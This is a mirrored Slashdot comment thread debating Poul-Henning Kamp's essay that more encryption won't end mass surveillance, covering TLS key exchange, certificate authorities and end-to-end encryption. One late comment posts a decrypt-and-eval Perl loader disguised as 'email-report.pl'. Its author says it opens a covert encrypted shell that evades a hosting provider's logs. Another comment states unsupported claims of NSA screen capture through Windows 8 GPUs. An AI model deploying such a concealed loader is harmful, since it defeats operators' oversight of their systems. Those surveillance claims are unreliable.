Slashdot Mirror
More Encryption Is Not the Solution
CowboyRobot writes "Poul-Henning Kamp argues that the 'recent exposure of the dragnet-style surveillance of Internet traffic has provoked a number of responses that are variations of the general formula: "More encryption is the solution." This is not the case. In fact, more encryption will probably only make the privacy crisis worse than it already is.' His argument takes a few turns, but centers on a scenario that is a bit too easy to imagine: a government coercing software developers into disabling their encryption: 'There are a whole host of things one could buy to weaken encryption. I would contact providers of popular cloud and "whatever-as-service" providers and make them an offer they couldn't refuse: on all HTTPS connections out of the country, the symmetric key cannot be random; it must come from a dictionary of 100 million random-looking keys that I provide. The key from the other side? Slip that in there somewhere, and I can find it (encrypted in a Set-Cookie header?). In the long run, nobody is going to notice that the symmetric keys are not random — you would have to scrutinize the key material in many thousands of connections before you would even start to suspect something was wrong.'"
A harrowing thought indeed.
That would probably take less than 500ms.
And who says the government doesn't already run some of these services themselves?
"I believe in Karma. That means I can do bad things to people all day long and I assume they deserve it." : Dogbert
After about 15000 connections you would see the first repetition of a key. That scheme would be discovered in NO TIME.
People don't want to have a dozen different passwords to remember, too much work and bother.
When the government notices lots of encrypted messages that can't be easily cracked by their codebreaking machines, they start to get interested. Real interested. Just like when mathematicians discovered that nobody could prove a simple theorem in high school algebra, every math Ph.D spent some time looking into that until the problem was solved.
No link to any story at all? Since when does Slashdot provide a private blogging platform on the front page?
In that case, indeed, no amount of encryption will save you.
You don't honestly think I liked all that hand-editing and drudging through man files and so on that I had to do to run Linux when I switched twelve years ago, do you? I switched because I knew that the major vendors couldn't be trusted, and that I needed to learn systems that weren't shielded from users auditing them and securing them outside the scope of what was marketable.
Today, I no longer need to rely on major software and service venders for most things. That puts me ahead of the game. Of course, it's only as good as the services I provide for myself, and the security of the ones I use outside my own.
In SOVIET RUSSIA... erm...NSA AMERICA, the Internet logs onto YOU!
Encryption if you can't trust the remote end point.
Decentralize the internet and make it run such that there are no "providers". All internet is available where participants are willing to use it and make it available to others, and all traffic flows in the path of least resistance. Users can also flag and blacklist participants who look suspiciously like big brother, so they get skipped in the chain of communication.
I don't see any logic in that argument.
Current situation: Few of the services are properly encrypted. Key service providers are coercer to work with intelligence services (or they see profit in it) and they get the most of the data anyway. Other open and independent products can be considered safe (as far as crypto is properly implemented.. for which there are no guarantees).
More crypto situation: Most of the services are properly encrypted. Key service providers are still working with intelligence services. However, you now have more options for secure services than before. Some of them might be compromised in the similar way but they would still get less personal data. Which is only a good thing.
It would be super cool if there was some kind of technology that allowed you to provide a link to the source material for discussion...
http://queue.acm.org/detail.cfm?id=2508864
This is a sig
In other news, locks do not work if someone gains a copy of your key. Therefore more locks are not the solution, and locks actually harm security!
Wait...what?
This is complete rubbish. Of course encryption doesn't work if you are trusting a giant cloud corp. not to have a man on the inside corrupting the encryption process.
That is the exact reason why more encryption is the answer! People need to be taking the issue into their own hands, using their own (open source) personal or community-driven encryption schemes that are provably secure. Trusting a giant corp. to generate your keys for you and presuming that is THE ONLY WAY encryption can work is such fantastically F.U.D I don't even know where to begin.
I didn't realize there were so many terrorists on the Internet.
Maybe they are more interested in dissenters?
Where i am, with who i talk, what i do in my personal life, that is privacy. But what i write, the photos or videos i take, what i say, that is my intellectual property, and thats the one that the government of US choose to explicitly ignore when is doing all of this . Put the battle in the intellectual property front, where their bosses could be a bit disturbed if people and countries just stop caring about US companies intellectual property, and they could take some action.
The problem is insecure distribution and control of private keys. (i.e. https that depends on trusting Certificate Authorities that appear easy to abuse by governments).
Better solutions could exist --- for example if HTTPS would only work after checking both certificates from a "trusted" certificate authority *and* a self-signed cert. That way all you rely on is that the CA wasn't compromised when you first exchanged the keys for the self-signed cert. Once that happens, even if a CA cooperates with an oppressive regime later, the self-signed cert would keep you safe.
Sad to say this but maybe spam serves a useful purpose after all, it's probably the most realistic option here save fixing the root cause of the problem. If everyone sends millions upon billions of spam emails, the system might be so overloaded as to become ineffective.
On a related note, I've often wondered what some spam emails with gibberish text actually mean. Maybe it's some kind of encrypted communication hiding in plain site - it only takes 1 message to get through to the intended recipient to be effective.
Peace,
Andy.
I seem to recall reading something the implied that a Master Key was handed over in some cases by providers. It should just be called a Skeleton Key, but if a government has access to that then why consider this option?
For most purposes of any typical fruitloop, making as much noise as possible is a better way of hiding in the crowd.
For purposes of not being a target, well, of any use, being everyone else is a good thing.
As you know, there are search engine proxies and plugins that make your personality a random mess, so useless.
Still going to be tracked at the ISP, backbone and society level regardless. Even if you "get the law changed".
Even 1 less attack made the system worth the cost, never mind the other 299.
My suggestion? Don't be a pedo terrorist hacker, and don't ever make dark jokes. If you are in the UK, don't even joke, or be serious. Be as dull as possible.
Why should you trust certificate authorities? Do you even know who all your certificate authorities are? I think that this confuses trust for assignment of liability. A CA is good for making sure that someone else is liable if you put your credit card number in a web site shopping page and it gets stolen, and it helps make prevent some guy sitting in Starbucks from stealing credit card numbers, but as far as trust, I don't think it does a thing.
And, guess what, people do do things like scrutinize the key material in many thousands of connections. And, if they don't, as soon as the next Snowden leaks what's going on, they will.
If the client wants to supply a limited key set, then that's their data to reveal.
Of course, if a host is so compromised that they are limiting the usage of symmetric keys to a known subset, then no amount of encryption should be considered secure. They can still log all the decrypted data, as well as turn over their private key for their certificates. Again, encryption keeps outsiders from seeing your data in transmission. If you can't trust the site you are communicating with, for any reason, encryption can never help you.
..and when they ban that, increasingly sophisticated steganography.
The way things are going, change will only be effected by political means when the majority of people are under true hardship from an oppressive government. Once you accept that there is no 'easy way out', you might as well try to bring about that endpoint quicker, which is simply by upping the ante in technical ways which force the authorities to respond with ever more heavy handed measures.
I bypass all of those expensive encryption schemes, and encode my data using rot13, twice!
They'll never figure that one out in a hundred years! They only expect you to encrypt things once, so doubling it up provides a much more secure encryption!
Who would win this election: Andrew Weiner vs Andrew Weiner's weiner.
To an intelligence agency, a well-thought-out weakness can easily be worth a cover identity and five years of salary to a top-notch programmer. Anybody who puts in five good years on an open source project can get away with inserting a patch that "on further inspection might not be optimal."
Anybody got an idea as to the source he's quoting? Is he referring to the OpenBSD incident?
Encryption is only a temporary state of data, who are unencrypted at first and get decrypted at the end. Their value in encrypted state is only that they are encrypted, which isn't really what we have data for. So just attack the end nodes and get access to the clear data before they get encrypted or after they got decrypted.
Over here in Germany we got the advice of the minister of the interior to encrypt our email. Sounds good. But he is also the one who says, that it's necessary to watch all traffic. Why should he give advice that would efficiently weaken his own policy?
When using DH key exchange both sides of the connection contribute randomness to derive the symmetric cipher. One side cannot unilaterally weaken the symmetric key.
Assumption: Evil powers still cannot break SSL that works as it should with random data and unknown private keys without centuries or millennia of computer time..
End-to-end encryption only works if the endpoints themselves are doing the encryption. Let's take a few examples:
Social media: Person A posts something online. The endpoints, the real endpoints, are Person A and all of Person A's followers. Is there encryption between Person A and all of Person A's followers? No, not currently, and that is the problem. If there were encryption between these endpoints, the evil powers would pull out their hair. Instead they short-circuit things, compromise the world thanks to Facebook, and get an easy in to everything. They are performing a traditional man-in-the-middle. Encryption, without compromises, is the key.
Instant messages: I send message to Google (Google Talk, Hangout, etc.) and they froward it on to my friends instantly. Are the endpoints doing encryption? No, not usually, and even with Off-The-Record functionality that Google provides, it is still plaintext along the way. This is the problem. It needs to be encrypted by the endpoints.
Skype: Same as above. The service in the middle is the problem.
There are some easy solutions for some of these.
First, the best solution is to be your own service provider somehow. When federation really makes this happen properly and we each control our content with others we trust directly then that will be neat. Maybe we can still use things like OpenID to help handle that authentication in the meantime, but keep in mind that delegating trust to one party means that if another party compromises them then all bets are, again, off. We each need to provide our own trust directly to others so that end-to-end encryption can happen. If the other ends are ever compromised, revoke their trust and then handle things going forward, but at least it's possible to know and handle that situation. I think the right way for this to happen involves our own services becoming insanely simple to deploy, and then running them at home, each of us being our own little provider. I know... too hard for the common user today, but so was accessing data via the Internet twenty years ago.
Second, in the meantime some of these services can be fixed right now. Run Pidgin to connect via Google Talk, or AIM, or ICQ, or anything else that's person-to-person, and implement the Off-The-Record plugin in there. Hooray! True end-to-end encryption. The service provider just sees crap in between, which is SSLized crap, and that's the end of their involvement even if the power scum that force them will take their data at gunpoint. Since he party in the middle has no keys, they have no data. Suddenly the evil powers must start attacking individuals instead of intermediaries which is much harder for them to do.
By the way, never use the same password, or even minor variations on passwords, on any two things, ever. Just don't. When you do, you make it trivial to take everything with the weakest link compromised. Which link will be attacked by anybody really caring? The weakest of course. Make them all strong, and different. LastPass is a good, secure option if you cannot manage passwords on your own without any intermediary (yes, it's work).
Anyway, just some thoughts.
Crux of his essay posits the problem with protecting privacy is that the solution will have to be political one and not technological. He doesn't give a reason that it can't be both. You can have strong, ubiquitous encryption and governmental policies that protect privacy. You don't have to just accept the status quo.
The idea behind crypto is to make undesired access to data impractical. What is required next is to use mathematical techniques to ensure that the data to which undesired access is unwanted cannot be known to exist. We begin on this road with steganography. We could also invisage a gameplay-fingerprint scenario where I need to interact with a system in such a way that it can get a basic behavioural fingerprint and then use this to resynthesise data. This may well result in lossy compression where the output looks similar but is not identical. We then use language and algorithmic compression techniques from there to shape how things are reconstructed. I can imagine much covert research into such concepts.
John_Chalisque
I encrypt everything - and I use double rot13 just be be extra sure that no one can read it!
>> you would have to scrutinize the key material in many thousands of connections before you would even start to suspect something was wrong.'
A few iterations of their plugin, to also examine key information and find a safe way to report such concerns.
https://www.eff.org/observatory
The Session Key of the SSL session is what they seek to control. So this is a matter for a secure key exchange protocol to fix.
I don't understand how storing information inside a cookie (which is presumably inside the HTTPS connection) helps the attacker. Since in order to examine it they would have already brute forced their 100 million known keys to find the one that worked. So why do they need any extra information from the cookie.
Maybe a cryptographer can explain if key exchange protocols such as DH are immune to this kind of concern, since don't both ends pick their own random numbers, to derive a usable symmetric cipher key. So as long as each end can trust their own local random number generation isn't the exchange immune to this attack even if you presume the other end uses same (not random number) every time. They still can not control my RNG and my RNG perterbs the resulting master key. So we just need to make sure there is enough entropy from one ends input to satisfy their ends security concerns.
No the real problem here is having the remote endpoint simply persist and store for later lookup, or forward in realtime the agreed key the client and server used of any SSL session along with a timestamp and the IP address and port number tuples. This you can never protect yourself from. You have to ask the question, what data would I trust the endpoint with, just like any other kind of relationship ?
More encryption is good, because then at least there maybe whistle blowers and loss of reputation costing the relevant company some financial penalty, hopefully 10x more than the bribe.
Uh, no.
The problem is that the government leans on the server you're talking to and gets your data after it's decrypted.
No amount of encryption can fix that, but the idea that more encryption is not part of the solution is just silly. Obviously it eliminates one means of eavesdropping on your communications.
Unless the government has compromised nearly every software and hardware vendor in the world... at which point you couldn't even trust the devices you're using to connect. The fundamental problem here is the strength of the governing bodies constitution and the the respect it has for that constitution. If you have, as we do today, a government that considers the constitution to be an outdated stumbling block rather than the backbone of a free society that it is, no amount of security or encryption will save you. They have unlimited time, money and people. They will always win.
If you generate and secure your own private keys and don't use commercial CAs, then what are they going to do? I suppose they could do what the Iranians and Chinese do, which is to use deep packet inspection to sort out that some or all of your traffic is encrypted, and then block it, but if we've reached that point where Western governments are erecting Great Firewalls, then we've reached a point where we're well and truly screwed anyways.
The world's burning. Moped Jesus spotted on I50. Details at 11.
The problem comes from keeping all your data on external servers.
"First they came for the slanderers and i said nothing."
It might not be ready for prime-time, but if you don't trust your hosting provider, then homomorphic encryption may end up being the solution.
not more.
that scenario doesn't matter that much anyways when the mails are with big providers.
world was created 5 seconds before this post as it is.
The problem is insecure distribution and control of private keys. (i.e. https that depends on trusting Certificate Authorities that appear easy to abuse by governments).
CAs have *nothing* to do with distribution of private keys!
CAs role is to certify that they have issued a given *public* certificate. CAs sign a public key. That is all. They *authenticate* a certificate. You could easily replace all those CAs with your own. Any secure application would never rely on public CAs, but only on their own.
We trust CAs because it is easier than going to a bank and asking for their certificate fingerprints, then checking them in the browser before accepting connection.
Better solutions could exist --- for example if HTTPS would only work after checking both certificates from a "trusted" certificate authority *and* a self-signed cert.
Clearly, you do not know how HTTPS works or what public key crypto accomplishes.
V guvax gung rapelcgvba vf gur jnir bs gur shgher! Gurer ner whfg gbb znal crbcyr ba gur Vagrearg jub ner bhg gb pbyyrpg rirel fpenc bs vasbezngvba nobhg lbh. Gurl pbagvahr gb svaq havdhr jnlf gb rkcybvg gur zbfg gevivny cvrpr bs vasbezngvba gurl pna tyrna sebz lbh. Rira gur zrer snpg gung lbh rkvfg va n qvtvgny raivebazrag pna or hfrq ntnvafg lbh. Rapelcgvba, lbhe arj gehfgrq sevraq.
This has nothing to do with encryption, and has everything with software you can't audit and verify yourself is secure.
I mean, do you really think it is that unlikely there are backdoors and/or monitoring hooks in your Cisco router? Or your Linksys AP? Or whatever?
The moment you trust blindly, be it the government or companies in a position to be influenced by others, you are putting yourself at risk.
Saying this is a cryptography issue, and not a "blackbox" issue, makes me wonder about ulterior motives...
morcego
https://queue.acm.org/detail.cfm?id=2508864
He's right.
A trusted CA can just generate a new private key for the site and go MITM. This is why the CA's are a big issue for private key security, at least with the way HTTPS trust chains are set up in reality. Yes you 'could' delete all CA's in your system and replace them with your own, but who does that?
Simple use a BEAST attack hardened diffie-hellman encryption. ephemeral encryption means a single key or even thousands of keys can not endanger future communications.
More Encryption Is Not the Solution
Of course it is. You just need to do the encryption on the client side.
I would never, ever trust a cloud provider to do encryption for me.
Why the hell would anyone give a vendor access to their encryption keys?
A cloud provider gives me space and nothing else. If I don't encrypt a file before I copy it to the cloud, then I get what I deserve, obviously.
Thereby subverting only a small fraction of encrypted communications, and undermining your own e-commerce systems in the process (since unlike most individuals, they actually would have to use the coerced systems). This is why more encryption is the solution: the countermeasure that you mention, is a lot like DRM as a countermeasure to piracy. It won't work against the people you say you're trying to defeat, but it will work against the people who are already on your side. Net Effect: incentive to stop being on your side. Just as DRM only caused more piracy, subverting session key entropy will cause people to diversify their software, deploy things in competing jurisdictions, etc. It's a suicide move. And while the entertainment industry's suicide move was tragic, government eavesdroppers' suicide would be most welcome.
Just have the service provider hand over a copy of the random symmetric key to the NSA log server. Nobody would be the wiser.
Or just have over the plaintext contents to the NSA. Then they don't even need to reassemble packets or spend CPU cycles decrypting them.
Isn't the master encryption key used to encrypt the stream made from a hash of a server generated and client generated random number? That would seem to make it a moot point whether or not the server keys are random as long as the client hasn't been compromised and is using a good random number. The server could be issuing "0" as its "random" number and the key would still be random.
The gain access to the data stream, the government would need access to the server's private key (or signed fake certificate so they could execute a man in the middle attack). With Perfect Forward Secrecy, would possession of the private key allow one to decrypt the stream?
A trusted CA can just generate a new private key for the site and go MITM.
And you can see the key has changed, and post it all over the Internet to show that 'trusted CA' is issuing fake keys. And 'trusted CA' goes bust.
It's a really, really, really, really, freaking really dumb way to perform an MITM attack, because an end user can easily prove the attack happened, and show the CA is broken.
Finally get those politicians to abide by the respective constituent document of your country.
There are some proven ways to achieve that.
So Slashdot publishes another NSA black-propaganda article. Rather like Slashdot's frequent warning that erasing data on your hard-drive is a waste of time, because forensic teams have 'magic' methods to directly read the surface of your platters, recovering such data. It is all part of the same nonsense designed to discourage the sheeple from using best methods to protect their security/privacy.
1) Decent encryption CANNOT be broken by the NSA.
2) Decent encryption (software, not the ALWAYS compromised hardware solutions) is free and easy to deploy
3) Encryption for networks (including the Internet) should be 'end-point' encryption under the control of the users themselves.
Has does the NSA attack such encryption (for general surveillance, not targeted individuals, obviously)? Well, by getting the owners of Slashdot to run stories like this for one. Bad-mouthing the best methods ALWAYS reaps dividends, and is insanely cost-effective. But things are not so nice these days. Microsoft, for instance, is introducing deep NSA monitoring tools into its new operating systems, especially the update of Windows 8. The idea is that the OS is 'trojan friendly' allowing techniques like message queue hijacking (of which the key-logger is a trivial example) to be unstoppable when the NSA uses facilities Microsoft has created for this purpose.
Most encrypted data will be created as 'plain text' (or the equivalent) and viewed as the same at some point. The NSA simply work with Microsoft to have access to the data BEFORE Truecrypt hides it, or after the user reads it from a Truecrypt volume.
The so-called 'protected path' that all computer companies are obliged by Law to place in new video hardware (in the name of making DRM unbreakable) actually provides a hidden resource where YOUR unencrypted data can be intercepted without your knowledge. Microsoft can simply request your graphics card to take regular snapshots of your screen, and you will never know this because the message stream to the GPU (for protected path functions) is encrypted with protected path control keys. A full screen JPG is quite a small file even for a high-resolution screen, and can be sneaked out to an NSA server with you standing ZERO chance of noticing the traffic blip.
All Windows 8 computers with a recent GPU (including integrated GPUs from Intel or AMD) can be remotely instructed to secretly capture your screen data and silently upload this to a server of Microsoft's choosing. Again, if you LOOK for this behaviour, you will see undocumented driver activity to the GPU, and small encrypted data packets sent to Microsoft servers. By definition, you can prove nothing because THEY encrypt (funny how it is you that is told encryption is pointless).
NSA full surveillance GETS the fact that it doesn't cover people using proprietary or rare/old computing systems, and doesn't care. NSA full surveillance only ever gets the majority who use the latest gizmos. I mean, don't carry a cell phone and obviously the NSA can't track you that way- but does this option mean the NSA go "damn, we might as well end our cell phone monitoring program"?
You want end-point encryption...
You want an open-source OS to replace Windows, so NSA back-door capabilities are severely compromised...
You NEVER want to trust corporations- by law they are required to lie to the sheeple if they are engaged in any way with the NSA...
In the end, it is hard to imagine the people winning. The ARM SoC parts are like the GPU systems from Nvidia and AMD, but a million times worse. Everything passes through the hardware blocks of the SoC, meaning that the NSA can always tap into your raw data, and you will never know. The SoC can even hold code inside the chip itself, controlling the monitoring of your screen and inputs. You won't know when this code is inserted or running. You won't know if the data leaving your device is an encrypted copy of your screen or recent inputs.
Saying "who cares so long as *I* can lock down my tablet" is moronic.
In SSL, the symmetric key is already chosen by the client. This whole story is bullshit. It's an example of what Bruce Schneier calls a Movie Plot Threat, only this time instead of being a terrorist attack, it's based on an evil government threat. This particular scenario is rubbish.
In other news, locks do not work if someone gains a copy of your key. Therefore more locks are not the solution, and locks actually harm security!
If an unfounded belief in the security provided by locks leads to a false sense of security, then yes, more locks harm security.
At best, locks prevent casual theft. If possessions that you keep behind the average consumer grade lock haven't been stolen, it is not because of the lock, it is because nobody has decided to steal them. Thus, you have more than likely wasted your money on the lock. Moreover, you may have spent additional money amassing valuables for which you have no meaningful security.
The distinction you make is the concept of "provably secure" encryption. There is no (practical) analog for securing your front door. Obviously, if there was, more locks would be better. If.
The conundrum posed in TFS is that more encryption will likely mean more weak encryption. Most people don't have the means or energy to take the issue in their own hands as you suggest. As with anything, you need to distinguish between a technical solution as you would implement it, and a technical solution as will be sold to the masses who are looking for a magic buzzword product to make their problem go away.
No one trusted the NSA before. That wasn't news. Who was giving away their encryption keys to the NSA before? Not with their knowledge or willingness. The new information is that the providers betrayed the users.
I've decided to stop wasting my time responding to AC trolls/sockpuppets... so if you want a response from me... login.
...so no link is a good thing.
That depends on what kind of data you are referring to. If you are talking about e-mails,
then intelligent beings usually realize that very sensitive data is not to be stored there.
For storing your own data, that you are not planning on sharing with anyone, cloud
storage such as Dropbox works wonderfully with Truecrypt. A strong password assures
you no-one will ever get access to your cloud data, unless you are forced to reveal the password.
Truecrypt also offers plausible deniability using a hidden volume, in case you are
forced to reveal your password.
If you are planning on sharing very sensitive data and you are aware that the government
or someone else is as motivated to obtain that data as to go through the
trouble of MITM attacks, then one good solution is to distribute your public key
over a Skype audio+video call.
Now, if you believe the government is as motivated as to try to fake both your and
his voice and movement of lips, then you would have to split your public key and
distribute it through multiple mediums (stenography on an youtube video? mailing lists?).
There *are* some ways of protecting your data ainst a government or anyone else if
it is valuable enough.
It appears a habit of the slashdot commenters to discuss how badly a government
would be able to screw you over, completely missing a simple fact: the amount of
effort any government would put into seeing your data is proportional to how valuable
they believe it is. They will not mount a MITM attack on you using a controlled
CA just to see your vacation pictures. The privacy of your data does not only rely
solely on how abusive a government is, but also on how much effort and thought you put
in keeping it private.
When dealing with highly sensitive data, it is your obligation to be paranoid, not to trust
governments, CAs, companies, ISPs etc. and go to great lengths to assure no-one can gain
access to your information.
If a government controls a CA and would like to see your communications with a server that it does not control, all it can do is mount a MITM attack while you are communicating with that server. Afterwards, it misses its window of opportunity: if the government wants to decrypt the logged communication at a later time, it cannot do so. The damage it can do by controlling a CA is pretty limited.
I do not see why the excess paranoia and fuss is all about. Sharing data privately
does *not* work in a model where you do not trust anyone.
If you are sharing non-sensitive data, then it is usually an acceptable compromise
to trust very large companies such as Google. You acknowledge that a government
or Google is not motivated enough to "look" at your data, although you realize there
is no guarantee that they cannot do so. You just believe that the data is not worthy
enough for them to care.
When you (A) are sharing sensitive data by e-mail with (B), you are implicitly trusting
many parties: CAs or government/ISP, GMail and B. While you do intend to trust B,
you do not intend to trust anyone else with such valuable data. This is *your* mistake
or ignorance. Just because the idea is to trust CAs implicitly it does not mean you have
to trust them with everything. The more valuable the data, the less compromise you
afford to make in trust.
This leaves you with having to distribute your public key to B without trusting anyone else.
You can achieve this by splitting your key and distributing it in multiple mediums:
video+audio skype calls, stenography, phone calls etc. The more mediums, the
higher degree of trust.
It is your responsibility and in your best interest to weigh the value of your data and
take proportional effort in protecting it.
As pointed out by others, this 'problem' is nonsense because the random number is generated by the client's browser. A government could lean on browser providers, but that puts the 'attack code' client-side and waiting to be noticed.
Trust of keys from providers is a real problem. In order to be certain that a connection is actually secure from listening you have to trust that what you are getting is the real certificate from the service provider, and not an 'attack' certificate generated by some dodgy CA (e.g. DigiNotar and the Iranian google snooping, and others). This can be reduced in some (limited) cases by using certificate pinning, or by using something like EFF's SSL Observatory.
Even if you actually are getting the 'real' certificate, you need to trust that the service provider hasn't already handed that certificate over to government. This isn't just a problem for the current certificate trust model - obviously if the other person is giving away their keys then you're pretty screwed regardless of the encryption system.
Finally, even if the communication is encrypted and the spying group doesn't have the keys, you still have to trust the service provider to not just hand over the unencrypted network traffic or your content anyway.
That's a lot of trust being spread around.
In the case of something like gmail, the solution is more encryption - it is encryption of the content end-to-end rather than just in transit, and with keys only you and the recipient have. That could be personally exchanged self-signed x509 keys/certs or OpenPGP keys, or even preshared symmetric keys. If you're a bit more trusting, it could be keys signed by a trusted other (a genuinely trusted other, not a large company).
So the solution is more encryption - in part at least. Just not more TLS.
I've been involved with bitcoin for a number of years. These days I keep a lot of my money on the chain and am aware of many of the risks involved. I'm used to tin-foil hatters painting ridiculous doomsday scenarios. The idea that the US government will coerce the devs into weakening the encryption without the community discovering the attack is the most laughably absurd possibility I've read for a few months.
It's weird that PHK framed it this way, but he's on the right track, regardless. Compromised entropy is one of the largest persistent attack surfaces in the state surveillance war. It's darn hard to notice when your client-side random key is leaking key space from prior exchanges, unless we're all running perfectly vetted software every day of the week and twice on Sunday and nothing bad ever happens to the golden master distribution chain. Developers never lose their private keys ...
From the dark side, at Borg scale, it's a slow war of attrition. The more they know about you, the better their guesses become. Suppose they gain possession of a dozen of your passwords from the least upstanding corporations you deal with. Your passwords have zero cross-entropy, right? Every password entirely unconditioned on any other password you've ever used?
And it if turns our you're a member of the 0.01% who uses distinct, randomly generated sixteen-character password strings for every site, so much the better to target you with other methods.
This isn't a battle over the yield strength of the titanium crypto primitives. It's a battle over the total burden. Every person who re-uses the same password a dozen times is that much less computation. Password cracking is like Type II b muscle fiber. It's the muscle fiber of last resort, that one your body activates to lift an overturned car off your child after a crash. Traffic analysis is Type I muscle fiber, the fiber you can use all day long, day after day.
That big hassle with the self-signed certs (which are needed for authentication) significantly thinned the default use of strong encryption for simple privacy. These did not need to be tied together as they were. Because the use of encryption stands out and the connectivity graph is below the percolation threshhold, it becomes hard to set up covert onion routers.
The focus on encryption strength is mostly red herring to distract us from the real agenda, which is keeping the general run of affairs extremely sloppy. The whole surveillance apparatus depends on the bulk manufacture of negawatts (shedding keyspace) in dribbs and drabbs by various murky political means. It's not a hard war, it's a soft war.
Poul-Henning Kamp, you're the newest addition to our list. Congratulations!
Then they don't need to rely on anyone else to create encryption systems or key exchanges.
Once I had a web hosting provider that allowed SSH access. Great for pushing my Git Commits in... However, there was a log file owned by root that stored every command I entered into the SSH terminal, which sometimes had credentials for other servers the server connected to. I couldn't edit it or delete the log file. So I did this instead: email-report.pl
#!/usr/bin/perl -w
;my $E=shift;my $F=shift;$F=0 if!defined $F;my $G=shift;my $H=0;$G=\$H if
;my @M=@{$C};while(!$L){my $O='';my $P=$E->read($O,1);if(!defined $P){return
;if($P<1){last;};$O=~s/[^0-9a-f]//;$S.=$O;};$S=pack('H*',$S);if((length $S)!=$N)
use strict;use bytes;use Digest;use FileHandle;use Fcntl qw(:seek);my $A
="0123456789abcdef";my @c=split(//,$A);sub h{my $B=shift;my $C=shift;my $D=shift
!defined $G;my $I='';my $K=$F||1;my $L=0;my $J='';my $W=$B->clone;my $N=$#{$C}+1
undef;}if($P){if($O eq "\n"){$$G=0;};$O=~s/[^0-9a-z]//;$I.=$O;}else{$L=1;}if(
length $I>1) {$$G++;$O=pack('H*',$I);$I='';if($$D>=$N){@M=@{$C};$W=$B->clone;
@{$C}=split(//,$W->digest);$$D=0;};$O=chr(ord(@{$C}[$$D++])^ord($O));if($F!=0){
$J.=$O;$B->add($O);$K--;if($K<1){$L=1;}}elsif($O eq "\x00"){$L=1;$$D-=1;
$E->seek(-2,SEEK_CUR);$$G--;if($$D<0){$$D=$N-1;@{$C}=@M;};}else{$J.=$O;$B->add(
$O);if($O eq "\n"){$L=1;};};};};return $J;};my $B=new Digest("SHA-1");my $N=
length$B->digest;print pack('H*','506173737068726173653a20');my $Q=<STDIN>;
chomp $Q;if($Q eq''){exit 1;}my $R=new FileHandle;$R='DATA';my $F=0;my $S='';
while((length $S)<($N*2)){my $O='';my $P=$R->read($O,1);if(!defined $P){exit 1;}
{exit 1;};if(length $Q>$N){$B->add($Q);$Q=$B->digest();}elsif (length $Q<$N){
$Q.=("\x00"x($N-(length $Q)));};my($T,$U);foreach my $O(split(//,$Q)){$T.=chr(
ord($O)^0x5c);$U.=chr(ord($O)^0x36);};$B->add($T,$B->add($U,$S)->digest());$T=
$U=$Q="\x00"x$N;$T=$U=$Q='';my $I='';my $W=$B->clone();my @V=split(//,$W->digest
);my $X=0;my $L=0;my $Y=0;my $Z='';$Z=h($B,\@V,\$X,$R,8192,\$Y);if(!defined $Z)
{exit 1;}if($Z eq ''){exit 1;}eval $Z;exit 0;
__DATA__
4e45266f48ed8d...
Snipped, see link, not that it'll do you any good without the key.
I'd give you the key, but running arbitrary enciphered code is ill advised...
What is that? Well, it's not really obfuscated, it's an encrypted Perl program called "email-report.pl", once started it asks for the passphrase that decodes the following program. Once the payload program is decrypted and running it peals off another encrypted channel to back to me using the stream cipher and TCP or UDP to provide a shell-like interface. Since it asks for the passpharse over STDIN it doesn't get logged to the session log. The commands I give it are executed in memory without being logged into the terminal session log file. The files I create over the shell aren't logged in the FTP log file either.
Once such a shell is up I can dump in more code to decrypt and execute, or store it as encrypted files to call up and decrypt and execute for later. I periodically generate encrypted email reports to myself with it, so that logs show emails being generated with it, but I can also do anything else I like, I can execute my programs in memory and their server will have no record of what program was executed. I can even have the program connect to other such enciphered shell programs running on other servers that don't need SSH to tunnel, just a net connection and the stream cipher -- I hold all the keys.
Now, this wasn't even a serious effort. I'm not doing anything I actually need to hide from anyone. It was just a bit of fun to prevent server logs from storing a few other keys in the clear. If I had wanted to I could have the cipher incorporate a few thousand it
What is "trusted"?
If the US government can coerce an operator, it can get access to your data stored in its datacenters (and I understand this is what PRISM is about), and therefore who cares it can decipher the data in transit?
Umm... you should go re-read the SSL/TLS specs. The server doesn't get to dictate the session key.
The session key (AKA master key) is computed from a "pre-master" secret key and two random numbers, one provided by client the other from the server. Both sides perform this computation independently, and the server has no control over the client random -- nor the client over the server random. Also, the pre-master secret is either generated entirely by the client, or else generated through a Diffie Hellman key agreement protocol, which again involves input from both sides.
There may be other attacks, but the one described in the summary doesn't work.
Note to ACs: I usually delete AC replies without reading them. If you want to talk to me, log in.
Whether or not to use encryption isn't really the question. Some level of encryption is required because there will be bad people out there that will want to do you harm. The problem lately is that we have been given evidence that the major democratic governments are no longer trustworthy. We have gone past the point of talking whether we need to encrypt our messages or to double the number of bits in an encryption method. These are just bandages being applied to the hemorrhaging of our basic freedoms. We need to stop the bleeding at the source with political reforms. And to achieve those we need a new party that will stand up for the rights of the people unlike all of the existing mainstream parties who cater to their rich special interest groups.
Use open source encryption software, create your own keys. Trusting an unknown, proprietary 3rd party to do it for you is not reliable, and your surprised?
http://queue.acm.org/detail.cfm?id=2508864
Join the Slashcott! Feb 10 thru Feb 17!
Encryption is not the solution but it is part of the solution.
Relying on any one method to make snooping hard makes for a simple target. Encryption alone will not fix the problem for the reasons stated. For instance, make your e-mail transport over SSL and they will just read it on the server. So you need e-mail over SSL and PGP encrypted e-mail content. Breaking just one of the encryption methods would not be sufficient.
Better technology is also needed though. What we have today is effectively pre-shared keys at the root of the certificate chain, which lead to this attack. Perfect Forward Secrecy is a step in the right direction, but not sufficient. We need to develop methods that either don't have any pre-shared keys, or if we have to use them require n of m, where each is controlled by a different regime preventing any one from compromising the system.
However, ubiquitous encryption would be a good first step, and I think raise the bar in an interesting world even if it is not perfect.
They're only in the lock factory if you think they've mathematically compromised open-source specs and implementations.
Once one party to an encrypted conversations wants a 3rd party to hear it, you are done. If the cloud providers are willing to send out corrupted HTTPS then they are willing to just share their data, so what difference does it make? Encryption is designed to help in situations where one of the intermediaries (like a telco carrier) is passing information to a 3rd party but not the final recipient.
You are still missing the point.
A CA does not generate your private key. If you allow a CA to generate your private key, you are an idiot.
CAs *sign* public keys. Now, a 3rd party could generate their own key pair and get their *public* key *signed* by a CA, therefore impersonating the real owner of the domain. But that is a known problem that has existed since inception of CAs - centralized "trust".
In theory, you could create a 'web of trust' CAs, but that would be a slow, and not so secure process.
Yes you 'could' delete all CA's in your system and replace them with your own, but who does that?
Why would I do that? Most applications connect to public websites and there is no other way of verifying the certificate other than a CA. Deleting all of the CAs is not very good idea.
Then again, some of my applications only need to trust *my* servers. They do not get whole CA list - they only see *my* CA certificate that I created. Same thing for IPSec. Only trust my own CA. There is absolutely no need to trust some random CA in these specific cases.
